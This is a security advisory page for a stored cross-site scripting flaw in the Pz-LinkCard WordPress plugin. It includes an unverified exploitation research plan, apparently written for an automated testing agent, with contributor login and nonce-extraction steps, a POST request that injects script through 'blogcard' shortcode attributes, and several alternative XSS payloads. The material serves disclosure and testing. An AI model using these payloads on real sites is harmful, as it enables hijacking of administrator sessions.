CVE-2026-2434

Pz-LinkCard <= 2.5.8.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Pz-LinkCard plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'blogcard' shortcode attributes in all versions up to, and including, 2.5.8.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.5.8.1
PublishedApril 17, 2026
Last updatedApril 17, 2026
Affected pluginpz-linkcard
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-2434 (Pz-LinkCard Stored XSS) ## 1. Vulnerability Summary The **Pz-LinkCard** plugin (up to version 2.5.8.1) is vulnerable to Stored Cross-Site Scripting (XSS) due to improper sanitization and escaping of attributes within its core shortcode, `[blogcard]`. Whi…

Show full research plan

Exploitation Research Plan: CVE-2026-2434 (Pz-LinkCard Stored XSS)

1. Vulnerability Summary

The Pz-LinkCard plugin (up to version 2.5.8.1) is vulnerable to Stored Cross-Site Scripting (XSS) due to improper sanitization and escaping of attributes within its core shortcode, [blogcard]. While the plugin is designed to create visual "cards" for links, it fails to sufficiently neutralize user-supplied input when rendering the HTML for these cards. An authenticated attacker with Contributor privileges or higher can embed malicious JavaScript within shortcode attributes. When the post is rendered (either in the editor preview or on the frontend), the script executes in the context of the viewing user, potentially leading to administrative session hijacking.

2. Attack Vector Analysis

  • Shortcode Name: blogcard (inferred from description)
  • Vulnerable Attributes: Likely candidates include class, url, title, or target (inferred based on common link-card plugin structures).
  • Authentication Level: Authenticated (Contributor+). Contributors can create posts and use shortcodes but cannot publish or use unfiltered_html.
  • Endpoint: Post Editor (wp-admin/post.php or wp-admin/post-new.php).
  • Injection Point: The content parameter of a post-save/update request.
  • Preconditions: The Pz-LinkCard plugin must be active.

3. Code Flow (Inferred)

  1. Registration: The plugin registers the shortcode using add_shortcode( 'blogcard', [ $this, 'render_shortcode' ] ).
  2. Input: A Contributor saves a post containing: [blogcard class='"><script>alert(1)</script>'].
  3. Processing: When the page is viewed, WordPress calls the shortcode's callback function.
  4. Attribute Handling: The callback likely uses shortcode_atts() to merge user input with defaults.
  5. Vulnerable Sink: The function constructs an HTML string (e.g., <div class="' . $atts['class'] . '">...</div>) and returns it without applying esc_attr() or esc_html() to the attributes.
  6. Rendering: WordPress echoes the returned HTML, triggering the XSS in the browser.

4. Nonce Acquisition Strategy

Since this is an Authenticated (Contributor+) vulnerability, the attacker needs a valid WordPress session and a post-editing nonce (_wpnonce) to save a post.

  1. Login: Use browser_navigate to log in as a Contributor.
  2. Navigate to Editor: Go to wp-admin/post-new.php.
  3. Extract Nonce: Use browser_eval to extract the _wpnonce from the post form.
    • JavaScript: document.querySelector('#_wpnonce')?.value
  4. Extract Post ID: Get the post_ID from the hidden input field or URL.
    • JavaScript: document.querySelector('#post_ID')?.value

5. Exploitation Strategy

Step 1: Authentication and Session Setup

  • Log in to the WordPress instance using the provided Contributor credentials.
  • Maintain the cookie session for subsequent http_request calls.

Step 2: Post Creation and Payload Injection

Send an http_request to save a draft post containing the malicious shortcode.

  • URL: https://[target]/wp-admin/post.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Payload:
    action=editpost
    &post_ID=[POST_ID]
    &_wpnonce=[NONCE]
    &post_title=XSS_Test
    &content=[blogcard class='"><script>alert(window.origin)</script>']
    &post_status=draft
    
    (Note: If class is not vulnerable, try attributes url, title, or target).

Step 3: Triggering the XSS

  • As an Admin or the Contributor, navigate to the post's preview URL or view the post in the editor.
  • URL: https://[target]/?p=[POST_ID]&preview=true

6. Test Data Setup

  1. User Creation: wp user create attacker attacker@example.com --role=contributor --user_pass=password
  2. Plugin Setup: Ensure pz-linkcard is installed and activated.
  3. Initial Post: Use the browser_navigate tool to open the editor and generate the initial post_ID.

7. Expected Results

  • The HTTP response for the post update should be a 302 redirect back to the editor.
  • Upon navigating to the post preview, the browser should execute the JavaScript.
  • In the rendered HTML source, you should see the broken attribute:
    <div class=""><script>alert(window.origin)</script>" ...>

8. Verification Steps

  1. Database Check: Use wp post get [POST_ID] --field=post_content to verify the shortcode is stored correctly in the database.
  2. HTML Source Audit: Use http_request (GET) on the post URL and check if the payload is rendered without escaping:
    # Check if script tags exist in the output
    curl -s "http://localhost:8080/?p=[POST_ID]" | grep "<script>alert"
    

9. Alternative Approaches

If the class attribute is sanitized, try breaking out of other potential HTML contexts within the shortcode:

  • URL Context: [blogcard url='javascript:alert(1)']
  • Image Context: [blogcard image='x" onerror="alert(1)']
  • Style Context: [blogcard style='background:url("javascript:alert(1)")']
  • Title/Text Context: [blogcard title='</title><script>alert(1)</script>']

If the standard post.php endpoint is hardened, attempt to inject via the Gutenberg Block Editor (REST API) if the plugin provides a dedicated block that uses the same underlying rendering function.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Pz-LinkCard plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'blogcard' shortcode attributes in all versions up to, and including, 2.5.8.1. This is due to insufficient input sanitization and output escaping on attributes such as 'class' or 'url', allowing authenticated attackers with Contributor-level access and above to inject arbitrary web scripts into pages.

Exploit Outline

1. Log in to the WordPress site with a user account having Contributor-level privileges or higher. 2. Create a new post or edit an existing one through the WordPress editor. 3. Insert a 'blogcard' shortcode containing a malicious payload within one of its attributes. For example, use the 'class' attribute to break out of the HTML context: [blogcard class='"><script>alert(document.domain)</script>']. 4. Save the post as a draft or update it. Since Contributors cannot publish, the exploit is usually triggered via the preview function or when an Editor/Admin views the draft. 5. Navigate to the post's preview URL or the live page if published. The injected JavaScript will execute in the context of the viewing user's session.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.